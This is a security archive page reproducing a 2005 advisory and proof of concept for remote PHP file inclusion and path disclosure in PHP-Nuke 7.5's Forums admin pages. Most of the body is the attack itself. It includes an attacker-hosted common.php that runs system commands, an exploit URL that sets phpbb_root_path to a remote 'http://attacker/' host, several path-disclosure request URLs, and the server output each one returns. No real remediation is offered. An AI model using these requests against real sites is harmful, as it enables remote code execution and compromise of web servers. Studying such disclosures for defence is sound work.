what you don't know can hurt you

sile002adv.txt

sile002adv.txt
Posted Jul 13, 2005
Authored by Silentium | Site autistici.org

PHP-Nuke version 7.5 remote code execution exploit.

tags | exploit, remote, php, code execution
MD5 | 2f6e074fa904b8a5c97e28aff11a36ae

sile002adv.txt

Change Mirror Download
                              ----



**********************************************************

* *

* sile002 advisory + PoC *

* *

* PRODUCT: PHP-Nuke *

* VERSION: 7.5 but others versions *

* maybe either vulnerables *

* *

* VENDOR: http://www.phpnuke.org *

* VULNERABILITY: Multiple vulnerability *

* RISK: Hight *

* *

* Found by: Silentium of Anacron Group Italy *

* date: 02/05/2005 *

* e-mail: anacrongroupitaly[at]autistici[dot]org *

* my_home: http://www.autistici.org/anacron-group-italy *

* *

**********************************************************





General product info

--------------------

PHP-Nuke is a Web Portal System.

PHP-Nuke is free software, released under GNU GPL Licence version 2.0

PHP-Nuke is the result of many years administrating a news site called

Linux Preview (http://linuxpreview.org)....bla..bla..bla ;\





General bug info

----------------

I have found one PHP injection vulnerability

relative at Forums module into page



/modules/Forums/admin/admin_styles.php



The vulnerable variable is $phpbb_root_path

This wait for common.php page, but an attacker

can link remote 'common.php' page, and execute

remote code on vulnerable machine.



An attacker can to create own php page and uploading

it into own web server; example of page



cat common.php



<?



// This is simple attacker common.php page

// for execute remote code on machines vulnerable

// at PHP injection found on PHP-Nuke v7.5 by Silentium



system("id;uname -a");



?>





Exploiting this bug

-------------------



1) [PHP Injection + Path Disclosure]



Input in your browser:



http://www.victim.com/modules/Forums/admin/admin_styles.php?phpbb_root_path=http://attacker/



Output from web server:



uid=80(www) gid=80(www)

Linux victim 2.4.27 #6 Tue Oct 18 15:24:11 PDT 2003 i686 unknown unknown GNU/Linux


Fatal error: Call to undefined function: message_die() in /var/www/htdocs/modules/Forums/admin/pagestart.php
on line 81





The PHP injection to produce also an error showing the path of web server:



/var/www/htdocs







2) [Path Disclosure]



Input in your browser:



http://www.victim.com/modules/Forums/admin/admin_forums.php?phpEx=silentium

http://www.victim.com/modules/Forums/admin/admin_disallow.php?phpEx=silentium

http://www.victim.com/modules/Forums/admin/admin_smilies.php?phpEx=silentium

http://www.victim.com/modules/Forums/admin/admin_board.php?phpEx=silentium


http://www.victim.com/modules/Forums/admin/admin_users.php?phpEx=silentium

http://www.victim.com/modules/Forums/admin/admin_mass_email.php?phpEx=silentium

http://www.victim.com/modules/Forums/admin/admin_forum_prune.php?phpEx=silentium



Output from web server:



Warning: main(./../common.silentium): failed to open stream: No such file or

directory in /var/www/htdocs/modules/Forums/admin/pagestart.php on line 68



Warning: main(): Failed opening './../common.silentium' for inclusion

(include_path='.:/usr/local/lib/php') in /var/www/htdocs/modules/Forums/admin/pagestart.php
on line 68



Fatal error: Call to undefined function: message_die()

in /var/www/htdocs/modules/Forums/admin/pagestart.php on line 81



OR



Input in your browser:



http://www.victim.com/db/db.php?the_include=silentium



Output from web server:



Fatal error: Cannot instantiate non-existent class: sql_db in

/var/www/htdocs/db/db.php on line 86





Patching this bug

-----------------

You dont use stupid and ever bugged ;\ PHP-Nuke product,

if you need also an little security !!!






Login or Register to add favorites

File Archive:

May 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    14 Files
  • 2
    May 2nd
    3 Files
  • 3
    May 3rd
    1 Files
  • 4
    May 4th
    18 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    21 Files
  • 7
    May 7th
    15 Files
  • 8
    May 8th
    19 Files
  • 9
    May 9th
    1 Files
  • 10
    May 10th
    2 Files
  • 11
    May 11th
    18 Files
  • 12
    May 12th
    39 Files
  • 13
    May 13th
    15 Files
  • 14
    May 14th
    17 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    2 Files
  • 17
    May 17th
    2 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    21 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    15 Files
  • 22
    May 22nd
    6 Files
  • 23
    May 23rd
    1 Files
  • 24
    May 24th
    1 Files
  • 25
    May 25th
    2 Files
  • 26
    May 26th
    23 Files
  • 27
    May 27th
    13 Files
  • 28
    May 28th
    18 Files
  • 29
    May 29th
    17 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close